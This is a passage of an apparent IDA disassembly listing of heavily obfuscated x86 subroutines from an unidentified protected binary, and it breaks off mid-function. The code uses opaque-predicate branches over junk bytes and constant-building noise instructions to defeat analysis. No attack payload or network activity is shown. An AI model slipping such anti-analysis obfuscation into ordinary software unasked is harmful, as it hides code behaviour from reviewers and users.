		jo	short loc_49FAB8
		jl	short loc_49FAB6


loc_49FAB1:				; CODE XREF: sub_49FA2C:loc_49FAB6j
					; sub_49FA2C:loc_49FAB8j
		jmp	short loc_49FABA
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49FAB6:				; CODE XREF: sub_49FA2C+83j
		jz	short loc_49FAB1


loc_49FAB8:				; CODE XREF: sub_49FA2C+81j
		jmp	short loc_49FAB1
; ---------------------------------------------------------------------------


loc_49FABA:				; CODE XREF: sub_49FA2C:loc_49FAB1j
		inc	eax
		dec	eax
		jo	short loc_49FAC7
		jl	short loc_49FAC5


loc_49FAC0:				; CODE XREF: sub_49FA2C:loc_49FAC5j
					; sub_49FA2C:loc_49FAC7j
		jmp	short loc_49FAC9
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49FAC5:				; CODE XREF: sub_49FA2C+92j
		jz	short loc_49FAC0


loc_49FAC7:				; CODE XREF: sub_49FA2C+90j
		jmp	short loc_49FAC0
; ---------------------------------------------------------------------------


loc_49FAC9:				; CODE XREF: sub_49FA2C:loc_49FAC0j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49FAD6
		jl	short loc_49FAD4


loc_49FAD1:				; CODE XREF: sub_49FA2C:loc_49FAD4j
					; sub_49FA2C:loc_49FAD6j
		jmp	short loc_49FAD8
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49FAD4:				; CODE XREF: sub_49FA2C+A3j
		jz	short loc_49FAD1


loc_49FAD6:				; CODE XREF: sub_49FA2C+A1j
		jmp	short loc_49FAD1
; ---------------------------------------------------------------------------


loc_49FAD8:				; CODE XREF: sub_49FA2C:loc_49FAD1j
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3CC
		xor	ecx, dword_4ED3D0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49FAFC
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49FAFC:				; CODE XREF: sub_49FA2C+C5j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D24
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49FA2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49FB10	proc near		; DATA XREF: sub_4965D8+113o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 77h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 14h
		and	eax, 80h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 800h
		sub	cl, 21h
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E4
		xor	ecx, dword_4ED3E8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49FBBF
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49FBBF:				; CODE XREF: sub_49FB10+A4j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D3C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49FB10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49FBD3	proc near		; DATA XREF: sub_4965D8+10ECo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, 4
		and	eax, ebx
		push	ecx
		mov	ch, 10h
		sub	ch, 1
		dec	ch
		sub	ch, 3
		dec	ch
		mov	ebx, [ebp+arg_4]
		dec	esi
		dec	edi
		dec	edi
		xor	edx, edx
		or	ebx, edx
		jz	short loc_49FC10
		dec	edi
		sub	ch, 2
		dec	ch
		dec	ch
		sub	ch, 8
		and	eax, 0
		jmp	short loc_49FC27
; ---------------------------------------------------------------------------


loc_49FC10:				; CODE XREF: sub_49FBD3+2Bj
		dec	edi
		dec	ecx
		sub	ch, 2
		dec	ch
		dec	ch
		sub	ch, 8
		and	eax, 0
		dec	ecx
		sub	ch, 2
		dec	ch
		dec	edx
		inc	eax


loc_49FC27:				; CODE XREF: sub_49FBD3+3Bj
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED3DC
		xor	eax, dword_4ED3E0
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_49FC49
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_49FC49:				; CODE XREF: sub_49FBD3+6Bj
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D34
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49FBD3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49FC5D	proc near		; DATA XREF: sub_4965D8+12C8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0F00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED410
		xor	ecx, dword_4ED414
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49FD18
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49FD18:				; CODE XREF: sub_49FC5D+B0j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D68
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49FC5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49FD2C	proc near		; DATA XREF: sub_4965D8+1350o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DAC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, 4
		bswap	eax
		not	eax
		pop	eax
		push	edx
		mov	dh, 80h
		mov	dh, 0
		inc	dh
		mov	ecx, ecx
		inc	dh
		inc	dh
		inc	esi
		inc	dh
		dec	edi
		inc	dh
		dec	dh
		inc	dh
		push	ebx
		inc	dh
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 800h
		xchg	eax, ecx
		mov	ecx, 40h
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		inc	dh
		inc	dh
		and	ebx, 800h
		add	dh, 4
		and	ebx, 10h
		inc	dh
		inc	dh
		pop	ebx
		sub	dh, 0Dh
		dec	dh
		and	ah, dh
		mov	dl, 5
		sub	dl, 0FFh
		dec	dl
		dec	dl
		inc	dl
		dec	dl
		sub	dl, 0FFh
		dec	dl
		dec	dl
		inc	dl
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3DC
		xor	ecx, dword_4ED3E0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49FDEA
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49FDEA:				; CODE XREF: sub_49FD2C+B3j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D34
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49FD2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49FDFE	proc near		; DATA XREF: sub_4965D8+6EBo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 77h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C0
		xor	ecx, dword_4ED3C4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49FEB2
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49FEB2:				; CODE XREF: sub_49FDFE+A9j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D18
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49FDFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49FEC6	proc near		; DATA XREF: sub_4965D8+3o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 4Bh
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		add	ecx, 3
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0E00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		jo	short loc_49FF5E
		jl	short loc_49FF5C


loc_49FF59:				; CODE XREF: sub_49FEC6:loc_49FF5Cj
					; sub_49FEC6:loc_49FF5Ej
		jmp	short loc_49FF60
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49FF5C:				; CODE XREF: sub_49FEC6+91j
		jz	short loc_49FF59


loc_49FF5E:				; CODE XREF: sub_49FEC6+8Fj
		jmp	short loc_49FF59
; ---------------------------------------------------------------------------


loc_49FF60:				; CODE XREF: sub_49FEC6:loc_49FF59j
		cmp	eax, edx
		jo	short loc_49FF6B
		jl	short loc_49FF69


loc_49FF66:				; CODE XREF: sub_49FEC6:loc_49FF69j
					; sub_49FEC6:loc_49FF6Bj
		jmp	short loc_49FF6D
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49FF69:				; CODE XREF: sub_49FEC6+9Ej
		jz	short loc_49FF66


loc_49FF6B:				; CODE XREF: sub_49FEC6+9Cj
		jmp	short loc_49FF66
; ---------------------------------------------------------------------------


loc_49FF6D:				; CODE XREF: sub_49FEC6:loc_49FF66j
		jz	short loc_49FF80
		and	eax, 0
		jo	short loc_49FF7B
		jl	short loc_49FF79


loc_49FF76:				; CODE XREF: sub_49FEC6:loc_49FF79j
					; sub_49FEC6:loc_49FF7Bj
		jmp	short loc_49FF7D
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49FF79:				; CODE XREF: sub_49FEC6+AEj
		jz	short loc_49FF76


loc_49FF7B:				; CODE XREF: sub_49FEC6+ACj
		jmp	short loc_49FF76
; ---------------------------------------------------------------------------


loc_49FF7D:				; CODE XREF: sub_49FEC6:loc_49FF76j
		inc	eax
		jmp	short loc_49FF83
; ---------------------------------------------------------------------------


loc_49FF80:				; CODE XREF: sub_49FEC6:loc_49FF6Dj
		and	eax, 0


loc_49FF83:				; CODE XREF: sub_49FEC6+B8j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED414
		xor	ecx, dword_4ED418
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49FFA6
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49FFA6:				; CODE XREF: sub_49FEC6+D5j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D6C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49FEC6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49FFBA	proc near		; DATA XREF: sub_4965D8+7B7o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D98
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AEh
		sub	cl, 2
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C8
		xor	ecx, dword_4ED3CC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0077
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0077:				; CODE XREF: sub_49FFBA+B2j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D20
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49FFBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A008B	proc near		; DATA XREF: sub_4965D8+1147o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Ah
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	edx
		inc	ecx
		inc	ecx
		dec	edx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	edx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	cl
		dec	edx
		inc	ecx
		inc	ecx
		dec	edx
		inc	ecx
		inc	ecx
		inc	cl
		dec	edx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		dec	edx
		dec	edx
		inc	ecx
		inc	cl
		inc	cl
		dec	dl
		inc	cl
		add	ecx, 0Bh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C0
		xor	ecx, dword_4ED3C4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A012A
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A012A:				; CODE XREF: sub_4A008B+94j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D18
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A008B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A013E	proc near		; DATA XREF: sub_4965D8+F27o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_4A0163
		jl	short loc_4A0161


loc_4A015E:				; CODE XREF: sub_4A013E:loc_4A0161j
					; sub_4A013E:loc_4A0163j
		jmp	short loc_4A0165
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A0161:				; CODE XREF: sub_4A013E+1Ej
		jz	short loc_4A015E


loc_4A0163:				; CODE XREF: sub_4A013E+1Cj
		jmp	short loc_4A015E
; ---------------------------------------------------------------------------


loc_4A0165:				; CODE XREF: sub_4A013E:loc_4A015Ej
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		jo	short loc_4A01B9
		jl	short loc_4A01B7


loc_4A01B4:				; CODE XREF: sub_4A013E:loc_4A01B7j
					; sub_4A013E:loc_4A01B9j
		jmp	short loc_4A01BB
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A01B7:				; CODE XREF: sub_4A013E+74j
		jz	short loc_4A01B4


loc_4A01B9:				; CODE XREF: sub_4A013E+72j
		jmp	short loc_4A01B4
; ---------------------------------------------------------------------------


loc_4A01BB:				; CODE XREF: sub_4A013E:loc_4A01B4j
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_4A02F7
		mov	eax, [ebp+var_4]
		jo	short loc_4A0200
		jl	short loc_4A01FE


loc_4A01FB:				; CODE XREF: sub_4A013E:loc_4A01FEj
					; sub_4A013E:loc_4A0200j
		jmp	short loc_4A0202
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4A01FE:				; CODE XREF: sub_4A013E+BBj
		jz	short loc_4A01FB


loc_4A0200:				; CODE XREF: sub_4A013E+B9j
		jmp	short loc_4A01FB
; ---------------------------------------------------------------------------


loc_4A0202:				; CODE XREF: sub_4A013E:loc_4A01FBj
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		jo	short loc_4A0231
		jl	short loc_4A022F


loc_4A022C:				; CODE XREF: sub_4A013E:loc_4A022Fj
					; sub_4A013E:loc_4A0231j
		jmp	short loc_4A0233
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4A022F:				; CODE XREF: sub_4A013E+ECj
		jz	short loc_4A022C


loc_4A0231:				; CODE XREF: sub_4A013E+EAj
		jmp	short loc_4A022C
; ---------------------------------------------------------------------------


loc_4A0233:				; CODE XREF: sub_4A013E:loc_4A022Cj
		mov	bl, 0C6h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_4A0280
		jl	short loc_4A027E


loc_4A0279:				; CODE XREF: sub_4A013E:loc_4A027Ej
					; sub_4A013E:loc_4A0280j
		jmp	short loc_4A0282
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A027E:				; CODE XREF: sub_4A013E+139j
		jz	short loc_4A0279


loc_4A0280:				; CODE XREF: sub_4A013E+137j
		jmp	short loc_4A0279
; ---------------------------------------------------------------------------


loc_4A0282:				; CODE XREF: sub_4A013E:loc_4A0279j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		jo	short loc_4A0295
		jl	short loc_4A0293


loc_4A0290:				; CODE XREF: sub_4A013E:loc_4A0293j
					; sub_4A013E:loc_4A0295j
		jmp	short loc_4A0297
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4A0293:				; CODE XREF: sub_4A013E+150j
		jz	short loc_4A0290


loc_4A0295:				; CODE XREF: sub_4A013E+14Ej
		jmp	short loc_4A0290
; ---------------------------------------------------------------------------


loc_4A0297:				; CODE XREF: sub_4A013E:loc_4A0290j
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_4A02CB
		jl	short loc_4A02C9


loc_4A02C4:				; CODE XREF: sub_4A013E:loc_4A02C9j
					; sub_4A013E:loc_4A02CBj
		jmp	short loc_4A02CD
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A02C9:				; CODE XREF: sub_4A013E+184j
		jz	short loc_4A02C4


loc_4A02CB:				; CODE XREF: sub_4A013E+182j
		jmp	short loc_4A02C4
; ---------------------------------------------------------------------------


loc_4A02CD:				; CODE XREF: sub_4A013E:loc_4A02C4j
		inc	eax
		dec	eax
		jo	short loc_4A02DA
		jl	short loc_4A02D8


loc_4A02D3:				; CODE XREF: sub_4A013E:loc_4A02D8j
					; sub_4A013E:loc_4A02DAj
		jmp	short loc_4A02DC
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A02D8:				; CODE XREF: sub_4A013E+193j
		jz	short loc_4A02D3


loc_4A02DA:				; CODE XREF: sub_4A013E+191j
		jmp	short loc_4A02D3
; ---------------------------------------------------------------------------


loc_4A02DC:				; CODE XREF: sub_4A013E:loc_4A02D3j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_4A02E9
		jl	short loc_4A02E7


loc_4A02E4:				; CODE XREF: sub_4A013E:loc_4A02E7j
					; sub_4A013E:loc_4A02E9j
		jmp	short loc_4A02EB
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4A02E7:				; CODE XREF: sub_4A013E+1A4j
		jz	short loc_4A02E4


loc_4A02E9:				; CODE XREF: sub_4A013E+1A2j
		jmp	short loc_4A02E4
; ---------------------------------------------------------------------------


loc_4A02EB:				; CODE XREF: sub_4A013E:loc_4A02E4j
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_4A02F7
		and	eax, 0
		inc	eax
		jmp	short loc_4A02FA
; ---------------------------------------------------------------------------


loc_4A02F7:				; CODE XREF: sub_4A013E+B0j
					; sub_4A013E+1B1j
		and	eax, 0


loc_4A02FA:				; CODE XREF: sub_4A013E+1B7j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED414
		xor	ecx, dword_4ED418
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A031D
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A031D:				; CODE XREF: sub_4A013E+1D4j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D6C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A013E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0331	proc near		; DATA XREF: sub_4965D8+14A4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_4A0356
		jl	short loc_4A0354


loc_4A0351:				; CODE XREF: sub_4A0331:loc_4A0354j
					; sub_4A0331:loc_4A0356j
		jmp	short loc_4A0358
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A0354:				; CODE XREF: sub_4A0331+1Ej
		jz	short loc_4A0351


loc_4A0356:				; CODE XREF: sub_4A0331+1Cj
		jmp	short loc_4A0351
